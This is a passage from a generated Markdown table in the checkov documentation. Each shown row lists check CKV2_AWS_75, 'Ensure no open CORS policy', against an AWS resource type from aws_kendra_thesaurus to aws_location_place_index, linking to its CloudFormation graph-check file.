[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  948 | CKV2_AWS_75 | resource | aws_kendra_thesaurus                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  949 | CKV2_AWS_75 | resource | aws_key_pair                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  950 | CKV2_AWS_75 | resource | aws_keyspaces_keyspace                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  951 | CKV2_AWS_75 | resource | aws_keyspaces_table                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  952 | CKV2_AWS_75 | resource | aws_kinesis_analytics_application                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  953 | CKV2_AWS_75 | resource | aws_kinesis_firehose_delivery_stream                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  954 | CKV2_AWS_75 | resource | aws_kinesis_resource_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  955 | CKV2_AWS_75 | resource | aws_kinesis_stream                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  956 | CKV2_AWS_75 | resource | aws_kinesis_stream_consumer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  957 | CKV2_AWS_75 | resource | aws_kinesis_video_stream                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  958 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  959 | CKV2_AWS_75 | resource | aws_kinesisanalyticsv2_application_snapshot                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  960 | CKV2_AWS_75 | resource | aws_kms_alias                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  961 | CKV2_AWS_75 | resource | aws_kms_ciphertext                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  962 | CKV2_AWS_75 | resource | aws_kms_custom_key_store                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  963 | CKV2_AWS_75 | resource | aws_kms_external_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  964 | CKV2_AWS_75 | resource | aws_kms_grant                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  965 | CKV2_AWS_75 | resource | aws_kms_key                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  966 | CKV2_AWS_75 | resource | aws_kms_key_policy                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  967 | CKV2_AWS_75 | resource | aws_kms_replica_external_key                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  968 | CKV2_AWS_75 | resource | aws_kms_replica_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  969 | CKV2_AWS_75 | resource | aws_lakeformation_data_cells_filter                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  970 | CKV2_AWS_75 | resource | aws_lakeformation_data_lake_settings                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  971 | CKV2_AWS_75 | resource | aws_lakeformation_lf_tag                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  972 | CKV2_AWS_75 | resource | aws_lakeformation_permissions                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  973 | CKV2_AWS_75 | resource | aws_lakeformation_resource                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  974 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tag                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  975 | CKV2_AWS_75 | resource | aws_lakeformation_resource_lf_tags                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  976 | CKV2_AWS_75 | resource | aws_lambda_alias                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  977 | CKV2_AWS_75 | resource | aws_lambda_code_signing_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  978 | CKV2_AWS_75 | resource | aws_lambda_event_source_mapping                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  979 | CKV2_AWS_75 | resource | aws_lambda_function                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  980 | CKV2_AWS_75 | resource | aws_lambda_function_event_invoke_config                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  981 | CKV2_AWS_75 | resource | aws_lambda_function_recursion_config                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  982 | CKV2_AWS_75 | resource | aws_lambda_function_url                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  983 | CKV2_AWS_75 | resource | aws_lambda_invocation                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  984 | CKV2_AWS_75 | resource | aws_lambda_layer_version                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  985 | CKV2_AWS_75 | resource | aws_lambda_layer_version_permission                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  986 | CKV2_AWS_75 | resource | aws_lambda_permission                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  987 | CKV2_AWS_75 | resource | aws_lambda_provisioned_concurrency_config                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  988 | CKV2_AWS_75 | resource | aws_lambda_runtime_management_config                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  989 | CKV2_AWS_75 | resource | aws_launch_configuration                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  990 | CKV2_AWS_75 | resource | aws_launch_template                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  991 | CKV2_AWS_75 | resource | aws_lb                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  992 | CKV2_AWS_75 | resource | aws_lb_cookie_stickiness_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  993 | CKV2_AWS_75 | resource | aws_lb_listener                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  994 | CKV2_AWS_75 | resource | aws_lb_listener_certificate                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  995 | CKV2_AWS_75 | resource | aws_lb_listener_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  996 | CKV2_AWS_75 | resource | aws_lb_ssl_negotiation_policy                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  997 | CKV2_AWS_75 | resource | aws_lb_target_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  998 | CKV2_AWS_75 | resource | aws_lb_target_group_attachment                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  999 | CKV2_AWS_75 | resource | aws_lb_trust_store                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1000 | CKV2_AWS_75 | resource | aws_lb_trust_store_revocation                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1001 | CKV2_AWS_75 | resource | aws_lex_bot                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1002 | CKV2_AWS_75 | resource | aws_lex_bot_alias                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1003 | CKV2_AWS_75 | resource | aws_lex_intent                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1004 | CKV2_AWS_75 | resource | aws_lex_slot_type                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1005 | CKV2_AWS_75 | resource | aws_lexv2models_bot                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1006 | CKV2_AWS_75 | resource | aws_lexv2models_bot_locale                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1007 | CKV2_AWS_75 | resource | aws_lexv2models_bot_version                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1008 | CKV2_AWS_75 | resource | aws_lexv2models_intent                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1009 | CKV2_AWS_75 | resource | aws_lexv2models_slot                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1010 | CKV2_AWS_75 | resource | aws_lexv2models_slot_type                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1011 | CKV2_AWS_75 | resource | aws_licensemanager_association                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1012 | CKV2_AWS_75 | resource | aws_licensemanager_grant                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1013 | CKV2_AWS_75 | resource | aws_licensemanager_grant_accepter                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1014 | CKV2_AWS_75 | resource | aws_licensemanager_license_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1015 | CKV2_AWS_75 | resource | aws_lightsail_bucket                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1016 | CKV2_AWS_75 | resource | aws_lightsail_bucket_access_key                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1017 | CKV2_AWS_75 | resource | aws_lightsail_bucket_resource_access                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1018 | CKV2_AWS_75 | resource | aws_lightsail_certificate                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1019 | CKV2_AWS_75 | resource | aws_lightsail_container_service                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1020 | CKV2_AWS_75 | resource | aws_lightsail_container_service_deployment_version               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1021 | CKV2_AWS_75 | resource | aws_lightsail_database                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1022 | CKV2_AWS_75 | resource | aws_lightsail_disk                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1023 | CKV2_AWS_75 | resource | aws_lightsail_disk_attachment                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1024 | CKV2_AWS_75 | resource | aws_lightsail_distribution                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1025 | CKV2_AWS_75 | resource | aws_lightsail_domain                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1026 | CKV2_AWS_75 | resource | aws_lightsail_domain_entry                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1027 | CKV2_AWS_75 | resource | aws_lightsail_instance                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1028 | CKV2_AWS_75 | resource | aws_lightsail_instance_public_ports                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1029 | CKV2_AWS_75 | resource | aws_lightsail_key_pair                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1030 | CKV2_AWS_75 | resource | aws_lightsail_lb                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1031 | CKV2_AWS_75 | resource | aws_lightsail_lb_attachment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1032 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1033 | CKV2_AWS_75 | resource | aws_lightsail_lb_certificate_attachment                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1034 | CKV2_AWS_75 | resource | aws_lightsail_lb_https_redirection_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1035 | CKV2_AWS_75 | resource | aws_lightsail_lb_stickiness_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1036 | CKV2_AWS_75 | resource | aws_lightsail_static_ip                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1037 | CKV2_AWS_75 | resource | aws_lightsail_static_ip_attachment                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1038 | CKV2_AWS_75 | resource | aws_load_balancer_backend_server_policy                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1039 | CKV2_AWS_75 | resource | aws_load_balancer_listener_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1040 | CKV2_AWS_75 | resource | aws_load_balancer_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1041 | CKV2_AWS_75 | resource | aws_location_geofence_collection                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1042 | CKV2_AWS_75 | resource | aws_location_map                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1043 | CKV2_AWS_75 | resource | aws_location_place_index                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 